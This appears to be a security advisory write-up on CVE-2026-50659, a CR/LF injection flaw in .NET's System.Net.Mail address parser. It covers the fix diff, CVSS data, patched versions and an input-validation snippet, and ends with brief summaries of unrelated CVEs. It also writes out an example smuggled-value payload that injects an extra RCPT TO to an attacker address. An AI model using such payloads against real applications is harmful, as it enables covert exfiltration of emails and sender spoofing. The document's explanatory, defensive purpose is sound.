Jul 21, 2026·8 min read·38 visits
Unescaped CR/LF characters in .NET's MailAddressParser allow SMTP protocol smuggling, enabling attackers to inject rogue SMTP commands and spoof sender details.
An improper encoding and escaping vulnerability in the .NET SMTP client component allows network-based attackers to perform SMTP command smuggling and email spoofing by injecting control characters into email fields.
The System.Net.Mail namespace in the .NET runtime provides classes used to send emails to an SMTP server for delivery. Within this namespace, the SmtpClient class manages the network connection, protocol negotiation, and transmission of SMTP commands, while the MailAddress and MailMessage classes define the structure of the message, including envelopes, display names, and header collections. Because email sending often involves dynamic application data—such as user registration emails, feedback submissions, and system-generated notifications—the entry points of these classes represent a critical network-facing attack surface.
If an application passes untrusted user input directly into these address objects, any failure of the parser to sanitize input parameters allows control character injection. This vulnerability is classified as CWE-116 (Improper Encoding or Escaping of Output) and is closely related to CWE-113 (Improper Neutralization of HTTP/Protocol Headers). By exploiting this flaw, a network-based attacker with low privileges can bypass intended logical boundaries, inject arbitrary SMTP instructions, and perform spoofing.
The impact of this flaw is focused on the integrity of the communication channel. Unauthenticated or low-privileged actors can manipulate the SMTP envelope during serialization, leading to unauthorized message routing or modification of message metadata. Because SMTP relies on specific byte sequences to demarcate commands, the absence of verification allows input strings to slip from data fields into command contexts, a technique commonly referred to as protocol smuggling.
The Simple Mail Transfer Protocol (SMTP), as defined in RFC 5321, is a text-based, line-oriented protocol designed for email transmission. Commands such as MAIL FROM, RCPT TO, and DATA are transmitted sequentially over a TCP socket, with each command terminated by a Carriage Return and Line Feed sequence, represented as the bytes 0x0D 0x0A (or \r\n). Receivers process these commands as separate commands only when a valid CRLF boundary is observed. Because of this structural design, the security of the protocol relies on downstream systems preventing command delimiters from appearing within client-supplied values.
The vulnerability in System.Net.Mail is located in the parsing logic responsible for validating and decomposing email addresses. When an application instantiates a MailAddress object using user-supplied parameters, the constructor invokes internal helper classes to validate formatting rules. Prior to the July 2026 update, the internal class MailAddressParser focused its validation routines on checking RFC compliance regarding separators like the at-sign (@), bracketed enclosures (< and >), and domain formatting rules, but omitted scanning for raw CR and LF characters.
This omission meant that the parser treated strings containing carriage returns and line feeds as syntactically valid components of an email address. When the application subsequently utilized SmtpClient to send the email, the serialization layer wrote the address string directly into the network stream. The unescaped CR and LF characters were written directly to the underlying TCP socket, allowing the protocol parser of the receiving mail server to interpret the injected characters as command terminations and begin parsing the next section of the string as a new, independent SMTP command.
The vulnerability was remediated by introducing validation checks in the file src/libraries/System.Net.Mail/src/System/Net/Mail/MailAddressParser.cs. In the unpatched implementation, the parser scanned and processed the string using lexical analysis to separate the local part, domain part, and display name, without verifying if the inputs contained illegal carriage returns or line feeds. The patch resolves this by performing an upfront validation check using a helper method MailBnfHelper.HasCROrLF(data).
To prevent performance degradation during parsing, the fix is implemented with an optimized scanning technique. When processing a comma-separated list of addresses, the parser parses the string from right to left. To avoid redundant $O(N^2)$ checks on long strings containing multiple addresses, the validation check is executed only when the index matches data.Length - 1. This condition guarantees that the entire source string is scanned for illegal control characters exactly once during the parsing lifetime.
// Patched portion of MailAddressParser.cs
// This diff shows the exact enforcement logic inserted in May 2026
diff --git a/src/libraries/System.Net.Mail/src/System/Net/Mail/MailAddressParser.cs b/src/libraries/System.Net.Mail/src/System/Net/Mail/MailAddressParser.cs
index d3a9e1467..b02ce3ad8 100644
--- a/src/libraries/System.Net.Mail/src/System/Net/Mail/MailAddressParser.cs
+++ b/src/libraries/System.Net.Mail/src/System/Net/Mail/MailAddressParser.cs
@@ -69,6 +69,20 @@ private static bool TryParseAddress(string data, bool expectMultipleAddresses, r
Debug.Assert(!string.IsNullOrEmpty(data));
Debug.Assert(index >= 0 && index < data.Length, $"Index out of range: {index}, {data.Length}");
+ // Check for CR or LF characters which are not allowed in mail addresses.
+ // Only scan on the first call (index == data.Length - 1) to avoid repeated O(n) scans
+ // when parsing multiple addresses from the same string.
+ if (index == data.Length - 1 && MailBnfHelper.HasCROrLF(data))
+ {
+ if (throwExceptionIfFail)
+ {
+ throw new FormatException(SR.MailAddressInvalidFormat);
+ }
+
+ parseAddressInfo = default;
+ return false;
+ }
+
// Parsed components to be assembled as a MailAddress later
string? displayName;This structural fix ensures that any attempt to pass an input containing a carriage return or line feed to MailAddressParser results in an immediate parsing failure. The application will either receive a FormatException or the parser will return false, preventing the invalid address from reaching the serialization layer of SmtpClient. This approach completely closes the attack path at the object instantiation boundary.
An exploitation scenario involves an application that takes input from an untrusted source, such as a user-profile update or a support contact form, and uses that value to construct an email address or display name. An attacker can supply a carefully crafted email string that contains a CRLF sequence followed by valid SMTP commands. Because the unpatched library did not block these characters, the downstream serialization produced sequential SMTP instructions.
Consider an input value designed for command injection: recipient@target.com\r\nRCPT TO:<covert-recipient@attacker.com>. When the application passes this value into the constructor of MailAddress and sends the email, SmtpClient converts this into the following SMTP stream sent to the mail relay:
MAIL FROM:<sender@application.com>
RCPT TO:<recipient@target.com
RCPT TO:<covert-recipient@attacker.com>The mail server receiving this stream parses the CRLF sequence as the end of the first RCPT TO command. While the first command might result in a syntax error due to the missing closing bracket, the server executes the second, successfully parsed RCPT TO command. As a result, the SMTP server routes the email to covert-recipient@attacker.com without the sending application's knowledge. This mechanism enables the stealthy exfiltration of emails containing sensitive data, password resets, or authentication links.
The primary impact of CVE-2026-50659 is network-based spoofing and SMTP command smuggling. Successful exploitation allows an attacker to inject additional recipients, alter message headers, or manipulate message bodies. This has a direct threat implication for organizational trust and verification systems, as attackers can leverage this mechanism to bypass security controls like SPF and DKIM under specific mail relay configurations.
The vulnerability carries a CVSS v3.1 base score of 6.5, with the vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N. This score reflects low attack complexity and the requirement for low-privilege network access, which can be easily satisfied in any public-facing portal or application with user registration. The integrity impact is high because the attacker can manipulate message recipients and headers, while confidentiality and availability impacts are rated as none.
Although the vulnerability allows significant control over message routing, it does not directly enable arbitrary code execution on either the client machine or the remote SMTP server. Instead, the risk is centered on credential theft, phishing campaigns, and intellectual property theft via covert carbon-copying. If an attacker can inject headers such as From:, they can easily make messages appear as though they originate from an authoritative internal administrative account, significantly increasing the success rate of subsequent social engineering attacks.
To completely remediate CVE-2026-50659, administrators and developers must upgrade their .NET runtimes and SDKs to the secure patched versions. For environments running .NET 10.0, the patch is available in version 10.0.6. For systems utilizing .NET 9.0 and .NET 8.0, the fixes are integrated into versions 9.0.18 and 8.0.29, respectively. Legacy installations utilizing the standard .NET Framework should apply the cumulative security updates released in July 2026.
If immediate patching of the host runtime is not feasible, developers must implement manual validation routines within their application code. This can be achieved by sanitizing all inputs passed to MailAddress and MailMessage objects, rejecting or stripping any string that contains \r or \n characters before processing. Implementing strong input sanitization serves as a defense-in-depth measure that prevents the execution of command injection payloads even on vulnerable framework runtimes.
// Defense-in-depth validation logic implemented in application middleware
public static string ValidateAndSanitizeEmail(string input)
{
if (string.IsNullOrEmpty(input))
{
throw new ArgumentException("Input cannot be null or empty.");
}
// Check for carriage return or line feed characters
if (input.Contains('\r') || input.Contains('\n'))
{
throw new FormatException("Invalid characters detected in email string.");
}
return input.Trim();
}CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
.NET Microsoft | >= 10.0.0, < 10.0.6 | 10.0.6 |
.NET Microsoft | >= 9.0.0, < 9.0.18 | 9.0.18 |
.NET Microsoft | >= 8.0.0, < 8.0.29 | 8.0.29 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-116 (Improper Encoding or Escaping of Output) |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 6.5 (Medium) |
| EPSS Score | 0.00415 (Percentile: 33.75%) |
| Impact Type | Integrity / Spoofing / Command Smuggling |
| Exploit Status | none (no public PoCs or active exploitation reported) |
| CISA KEV Status | Not Listed |
The software does not sanitize or escape control characters or delimiters prior to writing them to downstream outputs, leading to structure or protocol injection.
An unauthenticated Denial of Service vulnerability exists in the s2n-quic library's CryptoStream reassembler due to a lack of buffer limits on out-of-order cryptographic frames. An attacker can transmit a crafted CRYPTO frame with an extremely high offset and nominal payload, forcing the receiver to execute unbounded memory allocations and causing service crashes.
A JNDI Injection and Deserialization Gadget vulnerability exists in mchange-commons-java prior to version 0.6.0. The com.mchange.v2.naming.JavaBeanObjectFactory component permits arbitrary class instantiation and setter invocation, allowing attackers to perform Server-Side Request Forgery (SSRF) and remote class loading.
SurrealDB versions supporting element-level SELECT permissions on arrays are vulnerable to a logical authorization bypass. Due to an index-shifting error during array filtration, restricted elements can skip permission checks and leak to unauthorized record users.
CVE-2026-12243 is a path traversal vulnerability in the Natural Language Toolkit (NLTK) version 3.9.4. The flaw exists because the input validation routine fails to account for percent-encoded directory traversal sequences like '..%2f' before passing them to urllib.request.url2pathname(), which decodes them into active traversal sequences.
CVE-2026-73654 is a high-severity prototype pollution vulnerability in Trigger.dev. The flaw occurs during the handling of run-metadata updates through the PUT /api/v1/runs/:runId/metadata endpoint. Because user-supplied keys are parsed directly by the @jsonhero/path library without sanitization, an authenticated attacker with low privileges can pollute the global Object.prototype. This causes database queries via Prisma ORM to fail validation and induces unhandled exceptions in the Prometheus metrics client, resulting in a process-wide denial of service.
CVE-2026-73559 is an uncontrolled resource consumption vulnerability in the vLLM engine, specifically within the /v1/completions API endpoint, allowing authenticated attackers to cause application-level denial of service via unbounded prompt arrays.